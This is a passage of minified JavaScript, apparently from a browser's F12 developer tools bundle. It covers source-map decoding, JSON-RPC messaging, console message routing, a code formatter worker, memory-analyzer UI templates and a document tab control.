n=31&e;(e>>=5)>0&&(n|=32);t+=r.encode(n)}while(e>0);return t}static decode(e,t){for(var n=0,o=!1,i=0,a=t;a<e.length;a++){var s=r.decodeChar(e[a]);if(a===t){if(-1===s)return null;1==(1&s)&&(o=!0);n=s>>1&15}else n|=(31&s)<<i;i+=a===t?4:5;if(32!=(32&s))return{value:o?-n:n,charsRead:a-t+1}}return null}}i.UndefinedType="undefined";n.d(t,"a",function(){return a});class a{static calculateMappings(e){var t=[];if(!e||3!==e.version||!e.mappings||"string"!=typeof e.mappings||!e.sources||0===e.sources.length)return null;var n=e.sources.length,r=new o.d,s=0,l=e.mappings;if(0===l.length){var c=new o.d;t.push(c)}for(var u=0,d=0,h=l.length;d<h;)if(l.charAt(d)===a.ScopeOrLineDelimiter){s++;d++;r.generatedColumn=0}else if(l.charAt(d)===a.SegmentDelimiter)d++;else{(c=new o.d).generatedLine=s;var p=i.decode(l,d);if(p){c.generatedColumn=r.generatedColumn+p.value;r.generatedColumn=c.generatedColumn;d+=p.charsRead}if(d<h&&l.charAt(d)!==a.ScopeOrLineDelimiter&&l.charAt(d)!==a.SegmentDelimiter){(p=i.decode(l,d))&&(u+=p.value);if(u>n)return null;p&&(d+=p.charsRead)}c.file=u;if(d<h&&l.charAt(d)!==a.ScopeOrLineDelimiter&&l.charAt(d)!==a.SegmentDelimiter&&(p=i.decode(l,d))){c.sourceLine=p.value+r.sourceLine;r.sourceLine=c.sourceLine;d+=p.charsRead}if(d<h&&l.charAt(d)!==a.ScopeOrLineDelimiter&&l.charAt(d)!==a.SegmentDelimiter&&(p=i.decode(l,d))){c.sourceColumn=p.value+r.sourceColumn;r.sourceColumn=c.sourceColumn;d+=p.charsRead}d<h&&l.charAt(d)!==a.ScopeOrLineDelimiter&&l.charAt(d)!==a.SegmentDelimiter&&(p=i.decode(l,d))&&(d+=p.charsRead);t.push(c)}return t}static calculateScopeSegments(e){if(e&&3===e.version&&"string"==typeof e.x_ms_scopes&&0!==e.x_ms_scopes.length){for(var t,n=e.x_ms_scopes,r=0,s=n.length,l=[],c=0,u=0;r<s;){var d=i.decode(n,r);if(!d)return;r+=d.charsRead;var h=i.decode(n,r);if(!h)return;r+=h.charsRead;var p=new o.b(c+d.value,u+h.value);c=p.line;u=p.column;var m=n.charAt(r++);if(m===a.StartScopeSegmentDelimiter){t=new o.a(p,t);l.push(t)}else{if(m!==a.EndScopeSegmentDelimiter)return;if(!t||!t.startSegment||t.endSegment)return;t.endSegment=p;t=t.parentScope}}if(!t)return l}}static calculateLocalsMapping(e,t){if(e&&3===e.version&&e.names&&0!==e.names.length&&"string"==typeof e.x_ms_locals&&(!e.x_ms_scopes||0!==e.x_ms_scopes.length)&&t&&0!==t.length)for(var n=e.names,o=e.x_ms_locals,r=0,s=t[r],l=0,c=o.length,u=0;l<c;){var d=i.decode(o,l);if(!d)return;l+=d.charsRead;var h=i.decode(o,l);if(h){s.localsMap[n[u+=d.value]]=n[u+=h.value];l+=h.charsRead}else s.localsMap[n[u+=d.value]]=null;if(l>=c)break;var p=o.charAt(l++);if(p===a.ScopeOrLineDelimiter)s=t[++r];else if(p!==a.SegmentDelimiter)return}}static parseMapContent(e){var t=null;try{if(")]}'"===e.substr(0,4)){var n=e.indexOf("\n");n>=0&&(e=e.slice(n+1))}t=JSON.parse(e)}catch(e){}return t}}a.StartScopeSegmentDelimiter=">";a.EndScopeSegmentDelimiter="<";a.SegmentDelimiter=",";a.ScopeOrLineDelimiter=";"},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{constructor(e,t){this.counts=new Map;this.valueByKey=new Map;this.valueCreator=e;this.onValueRemoved=t}get size(){return this.valueByKey.size}has(e){return this.counts.has(e)}increment(e){const t=this.counts.get(e)||0;this.counts.set(e,t+1);if(t<1){this.valueByKey.set(e,this.valueCreator(e));return!0}return!1}decrement(e){const t=this.counts.get(e)||0;if(t>0){const n=t-1;if(0===n){const t=this.valueByKey.get(e);this.valueByKey.delete(e);this.counts.delete(e);this.onValueRemoved(t);return!0}this.counts.set(e,n);return!1}return!1}}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(4);class r{constructor(e,t,n,o,r){this._ourIdentifier=e;this._nextId=0;this._promiseTable={};this._jsonRpcMethodReceive=t;this._jsonRpcNotificationReceive=n;this._postMessage=o;Date.now||(Date.now=function(){return+new Date});r(e=>{this.onMessage(e)})}jsonRpcMethodCall(e,t,n,r,i){n||o.a.failDebugOnly("Trying to insert a promise into the queue without a completed function: The front end will have no way of knowing this promise completed");var s=this._ourIdentifier+"|"+this._nextId;this._nextId++;this._promiseTable[s]={completed:n,error:r};var l=JSON.stringify({id:s,method:e,params:t});if(a.RandomDelay){a.queueData(()=>{this._postMessage(l,i)},l);return!0}return this._postMessage(l,i)}jsonRpcNotification(e,t,n){var o=this._ourIdentifier+"|NULL",r=JSON.stringify({id:o,method:e,params:t});a.RandomDelay?a.queueData(()=>{this._postMessage(r,n)},r):this._postMessage(r,n)}onMessage(e){var t=JSON.parse(e.data),n=t.id.split("|");o.a.areEqual(n.length,2);"NULL"===n[1]?n[0]!==this._ourIdentifier&&this._jsonRpcNotificationReceive(t.method,t.params,t.id):n[0]!==this._ourIdentifier||t.method?a.RandomDelay?a.queueData(()=>{this.handleCall(t)},e.data):this.handleCall(t):a.RandomDelay?a.queueData(()=>{this.handleReply(t)},e.data):this.handleReply(t)}handleReply(e){if(this._promiseTable[e.id]&&this._promiseTable[e.id].completed){if(e.error){o.a.isUndefined(e.data,"Can't have both data and error");this._promiseTable[e.id].error(e.error)}else this._promiseTable[e.id].completed(e.data);delete this._promiseTable[e.id]}else o.a.failDebugOnly("Can't complete a promise that does not exist in the promise table. Probably a dup reply msg.")}handleCall(e){this._jsonRpcMethodReceive(e.method,e.params,(t,n)=>{var o;o=n?JSON.stringify({id:e.id,error:n}):JSON.stringify({id:e.id,data:t});this._postMessage(o)},e.id)}}class i{constructor(e,t){this.callback=e;this.message=t}}class a{static enableDelay(e,t){a.RandomDelay=!0;a.CalculateDelayTime=e;a.DelayedMessage=t}static disableDelay(){a.RandomDelay=!1;if(a.RandomDelayTimeout){clearTimeout(a.RandomDelayTimeout);a.RandomDelayTimeout=null;a.clearQueue()}}static queueData(e,t){var n=new i(e,t);a.DelayedQueue.push(n);if(!a.RandomDelayTimeout){var o=a.CalculateDelayTime(t);a.RandomDelayTimeout=setTimeout(a.fireRandomly,o)}}static fireRandomly(){var e=a.DelayedQueue.shift();a.DelayedMessage(e.message);e.callback();if(a.DelayedQueue.length>0){var t=a.CalculateDelayTime(a.DelayedQueue[0].message);a.RandomDelayTimeout=setTimeout(a.fireRandomly,t)}else a.RandomDelayTimeout=null}static clearQueue(){for(var e=0;e<a.DelayedQueue.length;e++){var t=a.DelayedQueue[e];a.DelayedMessage(t.message);t.callback()}a.DelayedQueue=[]}}a.RandomDelay=!1;a.DelayedQueue=[]},function(e,t,n){"use strict";n.d(t,"a",function(){return o});n.d(t,"c",function(){return r});n.d(t,"b",function(){return a});class o{constructor(e,t=o.MAX_INT32){this._waiters=new Array;if((e|=0)<0||e>t)throw new RangeError;if((t|=0)<1)throw new RangeError;this._currentCount=e;this._initialCount=e;this._maxCount=t}get isEmpty(){return this._currentCount===this._initialCount}wait(){if(this._currentCount>0){this._currentCount--;return Promise.resolve()}return new Promise(e=>{this._waiters.push(e)})}release(e=1){if((e|=0)<1)throw new RangeError;if(this._maxCount-this._currentCount<e)throw new Error("Semaphore full");for(;e-- >0;)if(this._waiters.length>0){var t=this._waiters.shift();setImmediate(t)}else this._currentCount++}}o.MAX_INT32=Math.pow(2,31)-1;function r(e,t){return e.then(e=>{t();return e},e=>{t();return Promise.reject(e)})}function i(e){return"then"in e?e:Promise.resolve(e)}function a(e,t,n){let o=Array.isArray(e)?[]:{};Object.keys(e).forEach(r=>{o[r]=i(e[r]).then(t,n)});return Promise.all(o)}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(71);class r{constructor(e,t){this.urls=t;this._fileMappings=[];this._allMappings=[];e&&e.forEach(e=>{this._fileMappings[e.file]||(this._fileMappings[e.file]=[]);this._fileMappings[e.file].push(e);this._allMappings.push(e)});this._fileMappings.forEach(e=>{e.sort((e,t)=>e.sourceLine!==t.sourceLine?e.sourceLine-t.sourceLine:e.sourceColumn!==t.sourceColumn?e.sourceColumn-t.sourceColumn:e.generatedLine!==t.generatedLine?e.generatedLine-t.generatedLine:e.generatedColumn-t.generatedColumn)})}get allMappings(){return this._allMappings}static binarySearch(e,t,n){for(var o=e.length-1,r=0;r<=o;){var i=r+o>>1,a=n(e[i],t.line,t.column);if(a>0)r=i+1;else{if(!(a<0)){o=i;break}o=i-1}}for(var s=Math.max(Math.min(e.length-1,o),0);s+1<e.length&&0===n(e[s+1],t.line,t.column);)s++;return s}static binaryCompareSource(e,t,n){return e.sourceLine===t?n-e.sourceColumn:t-e.sourceLine}static binaryCompareGenerated(e,t,n){return e.generatedLine===t?n-e.generatedColumn:t-e.generatedLine}isValid(){return this._fileMappings&&this._fileMappings.length>0}hasOriginalPosition(e){var t=new o.a(e.line,e.column,e.file),n=this._allMappings;if(n.length>0){var i=n[r.binarySearch(n,t,r.binaryCompareGenerated)];return e.line===i.generatedLine}return!0}getOriginalPosition(e){var t=new o.a(e.line,e.column,e.file),n=this._allMappings;if(n.length>0){var i=r.binarySearch(n,t,r.binaryCompareGenerated);t.line=Math.max(n[i].sourceLine,0);t.column=Math.max(n[i].sourceColumn,0);t.file=Math.min(Math.max(n[i].file,0),this._fileMappings.length-1)}return t}getGeneratedPosition(e){var t=new o.a(e.line,e.column,e.file),n=this._fileMappings[t.file];if(n&&n.length>0){var i=r.binarySearch(n,t,r.binaryCompareSource);t.line=Math.max(n[i].generatedLine,0);t.column=Math.max(n[i].generatedColumn,0)}return t}}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{}o.toolbarButtonsPanel='<div>            <div id="startToolbarButton" data-name="startToolbarButton" data-control="Common.Controls.Button"             data-control-templateid="Common.iconButton24x24" data-options="className:startToolbarButton,                     tooltip:F12StartButtonTooltip; converter=Common.CommonConverters.ResourceConverter"             data-binding="isEnabled:isStartEnabled"></div><div id="stopToolbarButton"             data-name="stopToolbarButton" data-control="Common.Controls.Button"             data-control-templateid="Common.iconButton24x24" data-options="className:stopToolbarButton,             tooltip:F12StopButtonTooltip; converter=Common.CommonConverters.ResourceConverter"             data-binding="isEnabled:isStopEnabled"></div><div id="openSessionButton"             data-name="openSessionButton" data-control="Common.Controls.Button"             data-control-templateid="Common.iconButton24x24" data-options="className:openSessionButton,             tooltip:F12OpenSessionButtonTooltip; converter=Common.CommonConverters.ResourceConverter"             data-binding="isEnabled:isOpenSessionEnabled"></div><div id="saveSessionButton"             data-name="saveSessionButton" data-control="Common.Controls.Button"             data-control-templateid="Common.iconButton24x24" data-options="className:saveSessionButton,             tooltip:F12SaveSessionButtonTooltip; converter=Common.CommonConverters.ResourceConverter"             data-binding="isEnabled:isSaveSessionEnabled"></div><div id="takeSnapshotToolbarButton"             data-name="takeSnapshotToolbarButton" data-control="Common.Controls.Button"             data-control-templateid="Common.iconButton24x24" data-options="className:takeSnapshotToolbarButton,             tooltip:F12SnapshotButtonTooltip; converter=Common.CommonConverters.ResourceConverter"             data-binding="isEnabled:isTakeSnapshotEnabled"></div>        </div>';o.scopeFilterTemplate='<div class="scopeFilterBox">            <label class="scopeFilterLabel" for="BPT-VisualProfiler-scopeFilter"             data-options="textContent:ScopeFilterLabel; converter=Common.CommonConverters.ResourceConverter"></label>            <div id="BPT-VisualProfiler-scopeFilter" data-name="scopeFilter"             data-control="Common.Controls.ComboBox" data-binding="items:scopeFilterOptions,             selectedValue:scopeFilter; mode=twoway; converter=Common.CommonConverters.IntToStringConverter"             data-options="className:scopeFilter, tabIndex:2, tooltip:ScopeFilterTooltip;             converter=Common.CommonConverters.ResourceConverter"></div>        </div>';o.analysisBarTemplate='<div class="analysisContainer">            <div data-name="scopeFilterTemplate" data-binding="isVisible:isDiff"             data-control="Common.TemplateControl" data-control-templateid="MemoryAnalyzer.scopeFilterTemplate"             data-controlbinding="model:model"></div><div data-name="filterInput"             data-control="Common.Controls.TextBox" data-binding="text:dataTabModel.filterString; mode=twoway,             isVisible:dataTabModel.isTextSearchable" data-options="attr-aria-label:IdentifierFilter;             converter=Common.CommonConverters.ResourceConverter, className: filterInput, tabIndex:2,             placeholder:IdentifierFilter; converter=Common.CommonConverters.ResourceConverter, updateOnInput:1,             tooltip:IdentifierFilterTooltip; converter=Common.CommonConverters.ResourceConverter"></div>             <div data-name="foldObjectsByDominatorButton" data-control="Common.Controls.ToggleButton"             data-control-templateid="Common.iconButton24x24" data-binding="isChecked:foldObjectsByDominator;             mode=twoway, isVisible:dataTabModel.isDominatorFoldingPossible"             data-options="className:foldObjectsByDominatorButton,             tabIndex:2, tooltip:FoldInObjectsByDominatorTooltip;             converter=Common.CommonConverters.ResourceConverter"></div> <div data-name="settingsMenuButton"             data-control="Common.Controls.DropDownButton" data-control-templateid="Common.menuButton33x24"             data-options="className:settingsMenuButton, tabIndex:2, toggleIsCheckedOnClick:false;             converter=Common.CommonConverters.StringToBooleanConverter, tooltip:SettingsMenuButtonTooltipText;             converter=Common.CommonConverters.ResourceConverter"></div>        </div>';o.settingsDropDownMenu='<ul>            <div data-name="showBuiltinsMenuItem" data-control="Common.Controls.CheckBoxMenuItem"             data-binding="isChecked:showBuiltIns; mode=twoway" data-options="content:ShowBuiltIns;             converter=Common.CommonConverters.ResourceConverter"></div><div data-name="displayObjectIdsMenuItem"             data-control="Common.Controls.CheckBoxMenuItem" data-binding="isChecked:displayObjectIDs;             mode=twoway" data-options="content:DisplayObjectIDs;             converter=Common.CommonConverters.ResourceConverter"></div><div             data-name="showNonMatchingReferencesMenuItem" data-control="Common.Controls.CheckBoxMenuItem"             data-binding="isChecked:showNonMatchingReferences; mode=twoway, isVisible:isDiff"             data-options="content:ShowNonMatchingReferences;             converter=Common.CommonConverters.ResourceConverter"></div>        </ul>'},function(e,t,n){"use strict";n.d(t,"c",function(){return w});n.d(t,"a",function(){return L});n.d(t,"b",function(){return R});var o=n(2),r=n(5),i=n(60),a=n(22),s=n(50),l=n(13),c=n(0),u=n(10),d=n(6),h=n(40),p=n(175),m=n(27),g=n(59),f=n(188);let _,v,b,C,y,E=[];function S(){b=Object(u.g)();C=new i.a("Console");window.addEventListener("DOMContentLoaded",()=>{T()})}function T(){(_=new f.a(b)).start();y=s.c.get("DomTreeService");P()}function w(e){S();v=e;if(E.length){E.forEach(e=>{v(e)});E=[]}}function k(e){let t;const n=Object.prototype.hasOwnProperty.call(e,"detailedType");return{result:t=Object(a.isEdpEnabled)()&&!n?I(e):x(e),type:"consoleResult"}}function x(e){return{detailedType:e.detailedType,isExpandable:e.isExpandable,isHtmlViewableType:e.isHtmlViewableType,name:e.name,targetId:e.targetId,uid:e.uid,value:e.value}}function I(e){let t;const n=["array","regexp","date","null","node","error"],o=["function","array","regex","date","object","htmlElement","symbol"];if(e.subtype&&n.includes(e.subtype))switch(e.subtype){case"regexp":t="regex";break;case"node":t="htmlElement";break;default:t=e.subtype}else t=e.type;return{detailedType:t,isExpandable:o.includes(t),isHtmlViewableType:"htmlElement"===t,name:e.className,value:O(e),uid:e.objectId}}function O(e){if(e.objectId)return"error"===e.subtype?e.description:e.value?D(e.value):e.objectId;switch(e.type){case"boolean":return e.value?"true":"false";case"string":return e.value?e.value:"";default:return String(e.value)||"undefined"}}function L(e){return{isExpandable:!1,isHtmlViewableType:!1,uid:"",name:"",detailedType:"object",value:D(e)}}function D(e){const t=[];for(const n of e){const e=n.value;n.isOwn&&t.push({propertyName:n.name,propertyValue:{detailedType:e.subtype?e.subtype:e.type,isExpandable:Boolean(e.objectId),isHtmlViewableType:"node"===e.subtype,value:O(e)}})}return t}async function R(e){switch(e.type){case"addToWatch":h.a(e.expression);break;case"callConsoleRemote":_.methodCall(e.data.command,e.data.args).then(t=>{M({id:e.id,type:"callbackReturn",result:t})});break;case"getIntellisenseChoices":_.getIntellisenseChoices(e.data.searchString,t=>{M({id:e.id,type:"callbackReturn",result:t})});break;case"getTranslatedLocation":h.g(e.data.url,e.data.line,e.data.column).then(t=>{M({id:e.id,result:{column:t.oneBasedColumn,line:t.oneBasedLine,url:t.documentPath},type:"callbackReturn"})});break;case"loadEnvironmentSettings":const t=r.b.utilities.getDoubleClickTime();M({id:e.id,result:{doubleClickTime:t},type:"callbackReturn"});break;case"loadResources":const n=await Object(c.c)();M({id:e.id,result:n,type:"callbackReturn"});break;case"logPerformance":C.logPerformance(e);break;case"logUsageTelemetry":C.logExecuteCommand(e.commandName,e.triggerType,2,o.b.Measure,e.data);break;case"openLocalFile":h.h(e.url,e.line,e.column);break;case"openUrlInBrowser":Object(l.B)(e.url);break;case"processInput":_.processInput(e.text,e=>{M(k(e))});break;case"selectDomElement":if(e.uid){Object(l.D)(e.uid);y&&y.trySelectNode(null,e.uid)}Object(l.a)(d.c.dom);break;case"triggerSteppingFromConsole":b.broadcast(e.type,e.action);break;case"updateConsoleHeader":const i=e.errorCount;p.a(i)}}function P(){b.listen("onUnhandledException",e=>{M({info:e,type:"onUnhandledException"})});b.listen("onDebuggerEvent",e=>{M({info:e,type:"onDebuggerEvent"})});b.register("reportF12UnhandledError",async e=>{M({error:e,type:"reportF12UnhandledError"})});b.register("logMessage",async e=>{M({message:e,type:"logMessage"})});b.listen("consoleStateChange",e=>{e.shown&&M({type:"consoleShown"})});b.listen("notificationFromEdp",e=>{const{event:t,params:n}=e;M({event:t,params:n,type:"notificationFromEdp"})});b.listen("notificationFromRemote|ms:console",e=>{const{event:t,params:n}=e;"ProcessMessage"===t?_.processMessage(n[0]):M({event:t,params:n,type:"notificationFromRemote"})});r.b.addEventListener("break",()=>{M({type:"break"})});r.b.addEventListener("run",()=>{M({type:"run"})});r.b.addEventListener("attach",()=>{_.start();M({type:"attach"})});r.b.addEventListener("detach",()=>{M({type:"detach"})});b.call("ms:host","postPendingMessageToPlugin",[d.c.console]);g.markToolReady(d.c.console);m.startPreload(d.c.console)}function M(e){v?v(e):E.push(e)}},function(e,t,n){"use strict";n.d(t,"b",function(){return r});n.d(t,"a",function(){return i});let o={doubleClickTime:500};function r(e){o=Object.freeze(e)}function i(){return o}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(88);class r{constructor(e,t,n){this.handleEvent=(async e=>{if(!e.data||!e.data.type||e.origin!==this.pageOrigin)return;const t=e.data;switch(t.type){case"METHOD_CALL":{const e=this.registeredFunctions.get(t.name);if(e)try{const n=await e(...t.params),r=Object(o.d)(t.callId,t.callerId,n);this.messageWindow.postMessage(r,this.pageOrigin)}catch(e){const n=Object(o.c)(t.callId,t.callerId,e);this.messageWindow.postMessage(n,this.pageOrigin)}else{const e=new Error(`Method ${t.name} is not registered in ${this.clientId}`),n=Object(o.c)(t.callId,t.callerId,e);this.messageWindow.postMessage(n,this.pageOrigin)}break}case"METHOD_SUCCESS_RESULT":case"METHOD_ERROR_RESULT":{const e=this.pendingCallResults.get(t.callId);if(!e)throw new Error(`Unknown pending call for ${t.callerId}`);if("METHOD_SUCCESS_RESULT"===t.type){e.resolve(t.result);this.pendingCallResults.delete(t.callId)}else{e.reject(t.error);this.pendingCallResults.delete(t.callId)}break}case"EVENT_BROADCAST":{for(const e of this.registeredAllEventHandlers)e(t.name,t.args);const e=this.registeredEventHandlers.get(t.name);if(e)for(const n of e)n(t.args);break}}});this.clientId=e;this.uniqueMessagePrefix=this.clientId+String(Date.now());this.uniqueIdCount=0;this.messageWindow=t;this.listenWindow=n||window;this.pageOrigin=Object(o.e)();this.registeredAllEventHandlers=new Set;this.registeredEventHandlers=new Map;this.registeredFunctions=new Map;this.pendingCallResults=new Map}initialize(){if(!this.initialized){this.initialized=!0;this.listenWindow.addEventListener("message",this.handleEvent)}}teardown(){if(this.initialized){this.listenWindow.removeEventListener("message",this.handleEvent);this.registeredAllEventHandlers.clear();this.registeredEventHandlers.clear();this.registeredFunctions.clear();this.initialized=!1}}broadcast(e,t){const n=Object(o.a)(e,t);this.messageWindow.postMessage(n,this.pageOrigin)}listen(e,t){let n=this.registeredEventHandlers.get(e);if(!n){n=new Set;this.registeredEventHandlers.set(e,n)}n.add(t);return()=>{n.delete(t)}}listenAll(e){this.registeredAllEventHandlers.add(e);return()=>{this.registeredAllEventHandlers.delete(e)}}call(e,t,n){const r=this.getUniqueCallId(),i=Object(o.b)(r,this.clientId,e,t,n);this.messageWindow.postMessage(i,this.pageOrigin);return new Promise((e,t)=>{this.pendingCallResults.set(r,{resolve:e,reject:t})})}register(e,t){this.registeredFunctions.set(e,t)}getUniqueCallId(){this.uniqueIdCount++;return this.uniqueMessagePrefix+this.uniqueIdCount}}},function(e,t,n){"use strict";n.d(t,"a",function(){return a});n.d(t,"b",function(){return s});var o=n(96),r=n(155);let i;function a(){if(!i){const e=Object(o.a)();(i=new r.a(e,window.parent)).initialize()}return i}function s(e){i=e}},,function(e,t,n){"use strict";var o=n(134),r=n(54),i=n(107),a=n(4),s=n(120),l=n(71),c=n(151);class u{constructor(e){this._start=e.start;this._end=e.end;this._lineOffsets=e.lineOffsets;this._generatedLineOffset=e.generatedLineOffset;this._sourcemap=new c.a(e.mappings,[]);this._length=e.length}get start(){return this._start}get end(){return this._end}get generatedLineOffset(){return this._generatedLineOffset}get sourcemap(){return this._sourcemap}getPosition(e){a.a.isTrue(e>=0,"Negative offset");a.a.isTrue(this._lineOffsets.length>=1,"Need to call calculateLineOffsets first");e=Math.min(e,this._length-1);for(var t=this._lineOffsets.length-1,n=0;n<t;){var o=n+t>>1;this._lineOffsets[o]<e?n=o+1:t=o}n>0&&n<this._lineOffsets.length&&this._lineOffsets[n]>e&&(n-=1);var r=e-this._lineOffsets[n];a.a.isTrue(r>=0,"Calculated negative column");return new l.a(n,r)}getOffset(e){a.a.isTrue(this._lineOffsets.length>=1,"Need to call calculateLineOffsets first");a.a.isTrue(e.line>=0,"Line outside of range");a.a.isTrue(e.column>=0,"Column outside of range");var t;if(e.line>=this._lineOffsets.length)t=Math.max(0,this._length-1);else{t=this._lineOffsets[e.line]+e.column;e.line<this._lineOffsets.length-1&&t>=this._lineOffsets[e.line+1]&&(t=this._lineOffsets[e.line+1]-1);t>=this._length&&(t=Math.max(0,this._length-1))}return t+this._start}}class d{constructor(e,t){this.text=e;this.errorMessage=t;var n=new s.a(0,e.length);n.calculateLineOffsets(e);this._sourceSpan=new u(n.data)}getOriginalPosition(e){return e}getMappedPosition(e){return e}positionToOffset(e){return 0===this.text.length?0:this._sourceSpan.getOffset(e)}offsetToPosition(e){return 0===this.text.length?l.a.EMPTY_POSITION:this._sourceSpan.getPosition(Math.min(this.text.length,Math.max(0,e)))}getOffsetMappings(){return[]}}var h=n(125),p=n(12),m=n(101),g=n(118),f=n(36);n.d(t,"a",function(){return _});class _{constructor(e=i.a){this._options=null;this._services=e;this._sourceText=null;this._sourceInfo=null;this._options=new o.a;this._canBePrettyPrinted=!0;this._prettyPrintPromise=null}get canFormat(){return this._canBePrettyPrinted}get sourceText(){return this._sourceText}get options(){return this._options}updateOptions(e){this._options.updateAllOptions(e)}setDocument(e,t,n,o){a.a.hasValue(e,"source does not have a value.");return new Promise(t=>{this._sourceText=new d(e);this._sourceInfo={name:"",mimeType:n,sourceType:2};this._canBePrettyPrinted=e.length>0&&!/^[\s;]+$/.test(e);if(this._prettyPrintPromise){Object(h.a)(this._prettyPrintPromise)&&this._prettyPrintPromise.cancel();this._prettyPrintPromise=null}o&&this._canBePrettyPrinted&&this.formatSource(this._options.forceChunking);t(this._sourceInfo)})}getFormattedText(e){a.a.isTrue(!!this.sourceText,"Must call setDocument first");if(2===((e=e||this._options).prettyPrint&&this._canBePrettyPrinted?2:0)){this._prettyPrintPromise||this.formatSource(e.forceChunking);a.a.hasValue(this._prettyPrintPromise,"No pretty print promise.");return this._prettyPrintPromise}return Promise.resolve(this._sourceText)}formatSource(e){let t=null;a.a.isTrue(this._canBePrettyPrinted,"Source cannot be pretty printed.");if(this._prettyPrintPromise)return;let n=()=>{if(t){t.terminate();return!0}t=null;return!1};this._prettyPrintPromise=new r.a((o,r,s)=>{window.setImmediate(()=>{var r=i.b(new f.a("formatWorker.js"),this._services),s=null;(t=new Worker(r.path)).onerror=(e=>{this._canBePrettyPrinted=!1;s=p.a.loadString("FormatterInternalError");n();o(new d(this._sourceText.text,s))});var l=[];t.onmessage=(e=>{e.error&&a.a.failDebugOnly(e.errorMessage);if(void 0===e.data.generatedSourceSpanIndex){var n=e.data;this._canBePrettyPrinted=n.canBePrettyPrinted;var r=null;if(this._canBePrettyPrinted){var i=n.generatedSourceSpanData,c=[];for(f=0;f<i.length;f++){if(l[f]){a.a.isNull(i[f].mappings);i[f].mappings=l[f]}var d=new u(i[f]);c.push(d)}if(n.error){s=p.a.loadString(c.length>1?"FormatterEmbededJSInternalError":"FormatterInternalError");if(n.errorMessage.length>0){s+="\n";s+=n.errorMessage}}r=new g.c(2,n.formattedText,this._sourceText,c,s)}t.terminate();t=null;o(r||this.sourceText)}else{var h=e.data;l[h.generatedSourceSpanIndex]||(l[h.generatedSourceSpanIndex]=[]);for(var m=l[h.generatedSourceSpanIndex],f=0;f<h.mappings.length;f++)m.push(h.mappings[f])}});var c=new m.e;c.source=this._sourceText.text;c.mimeType=this._sourceInfo.mimeType;c.commonUrl=r.services.commonRoot;c.loader=r.services.editorRoot;c.forceResponseChunking=e;t.postMessage(c)})},n)}}},function(e,t,n){"use strict";var o=n(2),r=n(4),i=n(47),a=n(11),s=n(19),l=n(17),c=n(13),u=n(0),d=n(170),h=n(12),p=n(20);class m extends d.a{constructor(e,t,n,o,r=!0,a){super();this.ownerTabControl=t;this._onModelPropertyChanged=(e=>{let t=this.ownerTabControl.isEditPending(this.model);"isEditPending"===e&&t?this.title="*"+this.title:"isEditPending"!==e||t||"*"!==this.title[0]||(this.title=this.title.substring(1))});this.model=e;this.animateOnClose=!0;this.header=new i.a(document.createElement("li"));this.header.rootElement.setAttribute("id",m.HTML_ID_PREFIX+e.id);this.header.rootElement.setAttribute("tabindex","-1");this.header.rootElement.setAttribute("role","tab");a&&this.header.rootElement.classList.add("previewTab");this.header.rootElement.addEventListener("mouseup",this.onMouseUp.bind(this));this.header.rootElement.addEventListener("click",this.onHeaderClicked.bind(this));this.header.rootElement.addEventListener("keydown",this.onKeyDown.bind(this));this.header.rootElement.addEventListener("transitionend",()=>this.header.rootElement.style.transitionDuration="0s");this.header.rootElement.addEventListener("DOMAttrModified",e=>{"aria-selected"!==e.attrName||e.attrChange!==e.MODIFICATION||"true"!==e.newValue||this.active||this.onHeaderClicked()});this.rootElement.className="tabItemContent";var s=document.createElement("div");s.className="tabContent";this.header.rootElement.appendChild(s);o||(o="DocDiff"===this.model.modelType?"diffTabIcon":"");if(o){var l=document.createElement("div");l.className=o;s.appendChild(l)}var c=document.createElement("div");c.className="tabTitle";s.appendChild(c);this.header.rootElement.draggable=r;if(r){this.header.rootElement.addEventListener("dragstart",e=>{this.ownerTabControl.dragTarget=this;e.stopImmediatePropagation();return!1});this.header.rootElement.addEventListener("dragend",()=>{this.ownerTabControl.dragTarget=void 0});this.header.rootElement.addEventListener("dragover",e=>{e.preventDefault()});this.header.rootElement.addEventListener("dragenter",e=>{e.preventDefault()});this.header.rootElement.addEventListener("drop",e=>{if(this.ownerTabControl.dragTarget){var t=this.header.rootElement.offsetLeft+this.header.rootElement.offsetWidth/2;e.pageX>=t?this.ownerTabControl.insertAfter(this.ownerTabControl.dragTarget,this):this.ownerTabControl.insertBefore(this.ownerTabControl.dragTarget,this);this.ownerTabControl.dragTarget=void 0}})}this.header.rootElement.addEventListener("contextmenu",e=>{this.ownerTabControl.showContextMenu(this,e)});if(n){var d=document.createElement("div");d.className="closeButton";d.setAttribute("role","button");d.setAttribute("data-plugin-vs-tooltip",Object(u.b)("CloseTabTooltip"));d.setAttribute("aria-label",Object(u.b)("CloseTabTooltip"));d.addEventListener("click",this.onCloseButtonClicked.bind(this));s.appendChild(d)}this.updateDisplay();p.b(this.header.rootElement)}get active(){return this._active}set active(e){if(this._active!==e){this._active=e;this.header.rootElement.classList.toggle("active");this.rootElement.classList.toggle("active");this.header.rootElement.setAttribute("aria-selected",e+"");this.onActiveChanged()}}get model(){return this._model}set model(e){this._model&&this.isDocumentModel(this._model)&&this.ownerTabControl&&this.ownerTabControl.getDocPropChangedHandler(this._model).removeHandler(this._onModelPropertyChanged);this._model=e;this._model&&this.isDocumentModel(this._model)&&this.ownerTabControl&&this.ownerTabControl.getDocPropChangedHandler(this._model).addHandler(this._onModelPropertyChanged)}isDocumentModel(e){return"Doc"===e.modelType||"PreviewDoc"===e.modelType||"DocDiff"===e.modelType}get title(){return this.header.rootElement.getElementsByClassName("tabTitle")[0].innerText}set title(e){e=e||"";e=h.a.getTruncatedString(e);this.header.rootElement.getElementsByClassName("tabTitle")[0].innerText=e}get tooltipString(){return this.header.rootElement.getAttribute("data-plugin-vs-tooltip")||""}set tooltipString(e){this.header.rootElement.setAttribute("data-plugin-vs-tooltip",e);this.header.rootElement.setAttribute("aria-label",e)}focus(){this.header.rootElement.focus()}equals(e){return this.header.rootElement===e.header.rootElement}onHeaderClicked(e){void 0!==e&&0!==e.button||this._active||this.ownerTabControl.callSelectCallback(this,o.c.Ui,2);return!0}updateDisplay(){let e=this.model.modelType;if(e){let t=this.model;"PreviewDoc"===e&&(t=this.ownerTabControl.getNextDocumentModel(this.model));this.title=t.displayName;this.tooltipString=this.ownerTabControl.getUrlOfDocumentModel(t)}else if(this.model){this.tooltipString=this.model.displayName;let 